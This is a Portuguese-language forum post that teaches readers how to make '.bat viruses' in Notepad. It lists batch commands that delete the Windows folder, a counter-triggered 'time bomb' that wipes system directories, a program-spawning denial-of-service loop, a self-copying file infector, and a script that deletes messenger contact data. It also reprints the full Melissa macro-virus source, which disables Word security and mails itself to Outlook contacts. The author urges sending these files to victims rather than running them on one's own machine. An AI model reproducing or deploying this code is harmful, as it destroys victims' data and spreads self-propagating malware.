COMO CRIAR UM VIRUS .bat NO NOTE PAD(BLOCO DE NOTAS)
Criando Virus no Notepad É muito simples, voce vai fazer um virus no bloco de notas é só seguir as indicações, abra o bloco de notas Copie os códigos escolhidos e cole no bloco de notas, ao salvar voce usa a extençao .bat exemplo: onomedoarquivo.bat Se vc usar outra extensão o arquivo ñ ira pegar No final do tópico tem um download de um arquivo que converte aruivos .bat para .exe
AVISO:Não execute estes virus em seu proprio Pc, pois pode ocorrer serios danos, voce deve enviar para as vitimas!!!
█ █ █ █ █ █ █ █ █ █ █ █
Nomeel All Windows rmdir /s /q c:windows Funçãoeleta tdo do Windows (fode o pc)
Nome:Autoexec @ECHO OFF @BREAK OFF deltree/C: Y*.* Função:Fode com tudo
Nomeel p/ Windows del /s /q c:windows Funçãoeleta tudo dentro do Windows ex: arquivos e naum pastas
Nome:Shutdown-S shutdown -s Funçãoesliga o pc
Nome:Shutdown-R shutdown -r Função:Reinicia o pc
Nome:Trojan-2 @echo off ctty nul rem for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3 Função:Fode com tudo mesmo...
Nome:Pirata X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* Função:Testar seu Anti-Virus ou enganar alguem.
Nome:Melissa 1999 // Melissa Virus Source Code Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9 .0W ordSecurity", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabl ed = False System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9 .0W ordSecurity", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else Wink" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End Função:se espalha rapidamente e força empresas como Intel e Microsoft, entre outras, a fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O vírus, além de se enviar pela Internet, modificava documentos do Word colocando falas do programa de televisão Os Simpsons. Causou danos estimados em US$ 300 milhões a US$ 600 milhões.
Nome:CLICK EM MIM @ECHO OFF :REPETE MSG * CLICK EM MIM GOTO REPETE Função:Fica repetindo varias vezes a mesma mensagem
Nome:Progstar @echo off rem Denial Of Service Local :Fucker start notepad.exe start write.exe start sol.exe start cmd.exe start powerpnt.exe start excel.exe start winword.exe start msacess.exe goto Fucker: Função:Abre varios programas sem parar, fais o pc travar
Nome:bomba relógio c: cd echo off if exist lig1.drv goto 2 echo > lig1.drv sdfsdf goto fim :2 if exist lig2.drv goto 3 echo > lig2.drv sdfsdf goto fim :3 if exist lig3.drv goto 4 echo > lig3.drv sdfsdf goto fim :4 if exist lig4.drv goto 5 echo > lig4.drv sdfsdf goto fim :5 if exist lig5.drv goto 6 echo > lig4.drv sdfsdf goto fim :6 if exist lig6.drv goto 7 echo > lig6.drv sdfsdf goto fim :7 rmdir C:windows rmdir C:arquivos de programas rmdir C:documents and settings :fim Função:depois que ele for ativado 7 vezes ele apaga tudo
Nome:MSN Fixer cd %USERPROFILE% cd Config~1 cd Dadosd~1 cd Micros~1 cd "Windows Live Contacts" del /s /q *.* Função:Congela todos os msn's que estao sendo executados.
Vou por aqui o download do arquivo que converte .bat para .exe
DOWNLOAD Somente usuários registrados poderão ver os links.
Obs. "Conhecimento não é crime!! eu não me responsabilizo por seus atos!!"
COMO CRIAR UM VIRUS .bat NO NOTE PAD(BLOCO DE NOTAS)el All Windows
